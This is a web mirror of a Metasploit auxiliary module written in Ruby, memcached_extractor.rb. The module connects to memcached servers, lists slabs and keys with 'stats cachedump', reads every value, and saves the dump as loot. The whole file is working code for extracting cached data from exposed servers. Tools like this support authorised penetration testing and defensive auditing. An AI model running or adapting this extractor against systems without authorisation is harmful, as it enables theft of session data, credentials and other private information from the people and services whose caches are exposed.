Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

memcached_extractor.rb 3.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Auxiliary
  7. include Msf::Exploit::Remote::Tcp
  8. include Msf::Auxiliary::Scanner
  9. include Msf::Auxiliary::Report
  10. def initialize(info = {})
  11. super(update_info(
  12. info,
  13. 'Name' => 'Memcached Extractor',
  14. 'Description' => %q(
  15. This module extracts the slabs from a memcached instance. It then
  16. finds the keys and values stored in those slabs.
  17. ),
  18. 'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
  19. 'License' => MSF_LICENSE,
  20. 'References' =>
  21. [
  22. ['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
  23. ]
  24. ))
  25. register_options(
  26. [
  27. Opt::RPORT(11211)
  28. ], self.class
  29. )
  30. register_advanced_options(
  31. [
  32. OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]),
  33. OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10])
  34. ], self.class
  35. )
  36. end
  37. def max_keys
  38. datastore['MAXKEYS'].to_i
  39. end
  40. def print_keys
  41. datastore['PRINTKEYS'].to_i
  42. end
  43. def localhost?(ip)
  44. %w(localhost 127.0.0.1).include?(ip)
  45. end
  46. # Returns array of keys for all slabs
  47. def enumerate_keys
  48. keys = []
  49. enumerate_slab_ids.each do |sid|
  50. loop do
  51. sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
  52. data = sock.recv(4096)
  53. break if !data || data.length == 0
  54. matches = /^ITEM (?<key>.*) \[/.match(data)
  55. keys << matches[:key] if matches
  56. break if data =~ /^END/
  57. end
  58. end
  59. keys
  60. end
  61. # Returns array of slab ids as strings
  62. def enumerate_slab_ids
  63. sock.send("stats slabs\r\n", 0)
  64. slab_ids = []
  65. loop do
  66. data = sock.recv(4096)
  67. break if !data || data.length == 0
  68. matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
  69. slab_ids << matches
  70. break if data =~ /^END/
  71. end
  72. slab_ids.flatten!
  73. slab_ids.uniq! || []
  74. end
  75. def data_for_keys(keys = [])
  76. all_data = {}
  77. keys.each do |key|
  78. sock.send("get #{key}\r\n", 0)
  79. data = []
  80. loop do
  81. data_part = sock.recv(4096)
  82. break if !data_part || data_part.length == 0
  83. data << data_part
  84. break if data_part =~ /^END/
  85. end
  86. all_data[key] = data.join
  87. end
  88. all_data
  89. end
  90. def determine_version
  91. sock.send("version\r\n", 0)
  92. stats = sock.recv(4096)
  93. if /^VERSION (?<version>[\d\.]+)/ =~ stats
  94. version
  95. else
  96. nil
  97. end
  98. end
  99. def run_host(ip)
  100. peer = "#{ip}:#{rport}"
  101. vprint_status("Connecting to memcached server...")
  102. begin
  103. connect
  104. if (version = determine_version)
  105. vprint_good("Connected to memcached version #{version}")
  106. unless localhost?(ip)
  107. report_service(
  108. host: ip,
  109. name: 'memcached',
  110. port: rport,
  111. proto: 'tcp',
  112. info: version
  113. )
  114. end
  115. else
  116. print_error("unable to determine memcached protocol version")
  117. return
  118. end
  119. keys = enumerate_keys
  120. print_good("Found #{keys.size} keys")
  121. return if keys.size == 0
  122. data = data_for_keys(keys)
  123. result_table = Rex::Text::Table.new(
  124. 'Header' => "Keys/Values Found for #{peer}",
  125. 'Indent' => 1,
  126. 'Columns' => [ 'Key', 'Value' ]
  127. )
  128. data.take(print_keys).each { |key, value| result_table << [key, value.inspect] }
  129. print_line
  130. print_line("#{result_table}")
  131. unless localhost?(ip)
  132. path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
  133. print_good("memcached loot stored at #{path}")
  134. end
  135. rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
  136. vprint_error("Could not connect to memcached server!")
  137. end
  138. end
  139. end